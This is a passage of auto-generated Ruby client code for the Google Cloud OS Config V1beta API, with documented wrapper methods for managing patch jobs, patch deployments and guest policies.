metadata = @config.rpcs.get_patch_job.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_patch_job.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_patch_job.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :get_patch_job, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Cancel a patch job. The patch job must be active. Canceled patch jobs
# cannot be restarted.
#
# @overload cancel_patch_job(request, options = nil)
# Pass arguments to `cancel_patch_job` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::CancelPatchJobRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::CancelPatchJobRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload cancel_patch_job(name: nil)
# Pass arguments to `cancel_patch_job` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Name of the patch in the form `projects/*/patchJobs/*`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::PatchJob]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::PatchJob]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def cancel_patch_job request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::CancelPatchJobRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.cancel_patch_job.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.cancel_patch_job.timeout,
metadata: metadata,
retry_policy: @config.rpcs.cancel_patch_job.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :cancel_patch_job, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get a list of patch jobs.
#
# @overload list_patch_jobs(request, options = nil)
# Pass arguments to `list_patch_jobs` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::ListPatchJobsRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::ListPatchJobsRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_patch_jobs(parent: nil, page_size: nil, page_token: nil, filter: nil)
# Pass arguments to `list_patch_jobs` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. In the form of `projects/*`
# @param page_size [::Integer]
# The maximum number of instance status to return.
# @param page_token [::String]
# A pagination token returned from a previous call
# that indicates where this listing should continue from.
# @param filter [::String]
# If provided, this field specifies the criteria that must be met by patch
# jobs to be included in the response.
# Currently, filtering is only available on the patch_deployment field.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::PatchJob>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::PatchJob>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_patch_jobs request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::ListPatchJobsRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_patch_jobs.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_patch_jobs.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_patch_jobs.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :list_patch_jobs, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @os_config_service_stub, :list_patch_jobs, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get a list of instance details for a given patch job.
#
# @overload list_patch_job_instance_details(request, options = nil)
# Pass arguments to `list_patch_job_instance_details` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::ListPatchJobInstanceDetailsRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::ListPatchJobInstanceDetailsRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_patch_job_instance_details(parent: nil, page_size: nil, page_token: nil, filter: nil)
# Pass arguments to `list_patch_job_instance_details` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. The parent for the instances are in the form of `projects/*/patchJobs/*`.
# @param page_size [::Integer]
# The maximum number of instance details records to return. Default is 100.
# @param page_token [::String]
# A pagination token returned from a previous call
# that indicates where this listing should continue from.
# @param filter [::String]
# A filter expression that filters results listed in the response. This
# field supports filtering results by instance zone, name, state, or
# `failure_reason`.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::PatchJobInstanceDetails>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::PatchJobInstanceDetails>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_patch_job_instance_details request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::ListPatchJobInstanceDetailsRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_patch_job_instance_details.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_patch_job_instance_details.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_patch_job_instance_details.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :list_patch_job_instance_details, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @os_config_service_stub, :list_patch_job_instance_details, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Create an OS Config patch deployment.
#
# @overload create_patch_deployment(request, options = nil)
# Pass arguments to `create_patch_deployment` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::CreatePatchDeploymentRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::CreatePatchDeploymentRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload create_patch_deployment(parent: nil, patch_deployment_id: nil, patch_deployment: nil)
# Pass arguments to `create_patch_deployment` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. The project to apply this patch deployment to in the form `projects/*`.
# @param patch_deployment_id [::String]
# Required. A name for the patch deployment in the project. When creating a name
# the following rules apply:
# * Must contain only lowercase letters, numbers, and hyphens.
# * Must start with a letter.
# * Must be between 1-63 characters.
# * Must end with a number or a letter.
# * Must be unique within the project.
# @param patch_deployment [::Google::Cloud::Osconfig::V1beta::PatchDeployment, ::Hash]
# Required. The patch deployment to create.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::PatchDeployment]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::PatchDeployment]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def create_patch_deployment request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::CreatePatchDeploymentRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.create_patch_deployment.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.create_patch_deployment.timeout,
metadata: metadata,
retry_policy: @config.rpcs.create_patch_deployment.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :create_patch_deployment, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get an OS Config patch deployment.
#
# @overload get_patch_deployment(request, options = nil)
# Pass arguments to `get_patch_deployment` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::GetPatchDeploymentRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::GetPatchDeploymentRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_patch_deployment(name: nil)
# Pass arguments to `get_patch_deployment` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. The resource name of the patch deployment in the form
# `projects/*/patchDeployments/*`.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::PatchDeployment]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::PatchDeployment]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_patch_deployment request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::GetPatchDeploymentRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.get_patch_deployment.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_patch_deployment.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_patch_deployment.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :get_patch_deployment, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get a page of OS Config patch deployments.
#
# @overload list_patch_deployments(request, options = nil)
# Pass arguments to `list_patch_deployments` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::ListPatchDeploymentsRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::ListPatchDeploymentsRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_patch_deployments(parent: nil, page_size: nil, page_token: nil)
# Pass arguments to `list_patch_deployments` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. The resource name of the parent in the form `projects/*`.
# @param page_size [::Integer]
# Optional. The maximum number of patch deployments to return. Default is 100.
# @param page_token [::String]
# Optional. A pagination token returned from a previous call to ListPatchDeployments
# that indicates where this listing should continue from.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::PatchDeployment>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::PatchDeployment>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_patch_deployments request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::ListPatchDeploymentsRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_patch_deployments.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_patch_deployments.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_patch_deployments.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :list_patch_deployments, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @os_config_service_stub, :list_patch_deployments, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Delete an OS Config patch deployment.
#
# @overload delete_patch_deployment(request, options = nil)
# Pass arguments to `delete_patch_deployment` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::DeletePatchDeploymentRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::DeletePatchDeploymentRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload delete_patch_deployment(name: nil)
# Pass arguments to `delete_patch_deployment` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. The resource name of the patch deployment in the form
# `projects/*/patchDeployments/*`.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Protobuf::Empty]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Protobuf::Empty]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def delete_patch_deployment request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::DeletePatchDeploymentRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.delete_patch_deployment.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.delete_patch_deployment.timeout,
metadata: metadata,
retry_policy: @config.rpcs.delete_patch_deployment.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :delete_patch_deployment, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Create an OS Config guest policy.
#
# @overload create_guest_policy(request, options = nil)
# Pass arguments to `create_guest_policy` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::CreateGuestPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::CreateGuestPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload create_guest_policy(parent: nil, guest_policy_id: nil, guest_policy: nil)
# Pass arguments to `create_guest_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. The resource name of the parent using one of the following forms:
# `projects/{project_number}`.
# @param guest_policy_id [::String]
# Required. The logical name of the guest policy in the project
# with the following restrictions:
#
# * Must contain only lowercase letters, numbers, and hyphens.
# * Must start with a letter.
# * Must be between 1-63 characters.
# * Must end with a number or a letter.
# * Must be unique within the project.
# @param guest_policy [::Google::Cloud::Osconfig::V1beta::GuestPolicy, ::Hash]
# Required. The GuestPolicy to create.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::GuestPolicy]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::GuestPolicy]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def create_guest_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::CreateGuestPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.create_guest_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.create_guest_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.create_guest_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :create_guest_policy, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get an OS Config guest policy.
#
# @overload get_guest_policy(request, options = nil)
# Pass arguments to `get_guest_policy` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::GetGuestPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::GetGuestPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_guest_policy(name: nil)
# Pass arguments to `get_guest_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. The resource name of the guest policy using one of the following forms:
# `projects/{project_number}/guestPolicies/{guest_policy_id}`.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::GuestPolicy]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::GuestPolicy]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_guest_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::GetGuestPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.get_guest_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_guest_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_guest_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :get_guest_policy, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get a page of OS Config guest policies.
#
# @overload list_guest_policies(request, options = nil)
# Pass arguments to `list_guest_policies` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::ListGuestPoliciesRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::ListGuestPoliciesRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_guest_policies(parent: nil, page_size: nil, page_token: nil)
# Pass arguments to `list_guest_policies` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. The resource name of the parent using one of the following forms:
# `projects/{project_number}`.
# @param page_size [::Integer]
# The maximum number of guest policies to return.
# @param page_token [::String]
# A pagination token returned from a previous call to `ListGuestPolicies`
# that indicates where this listing should continue from.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::GuestPolicy>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Cloud::Osconfig::V1beta::GuestPolicy>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_guest_policies request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::ListGuestPoliciesRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_guest_policies.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_guest_policies.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_guest_policies.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :list_guest_policies, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @os_config_service_stub, :list_guest_policies, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Update an OS Config guest policy.
#
# @overload update_guest_policy(request, options = nil)
# Pass arguments to `update_guest_policy` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::UpdateGuestPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::UpdateGuestPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload update_guest_policy(guest_policy: nil, update_mask: nil)
# Pass arguments to `update_guest_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param guest_policy [::Google::Cloud::Osconfig::V1beta::GuestPolicy, ::Hash]
# Required. The updated GuestPolicy.
# @param update_mask [::Google::Protobuf::FieldMask, ::Hash]
# Field mask that controls which fields of the guest policy should be
# updated.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::GuestPolicy]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::GuestPolicy]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def update_guest_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::UpdateGuestPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.update_guest_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"guest_policy.name" => request.guest_policy.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.update_guest_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.update_guest_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
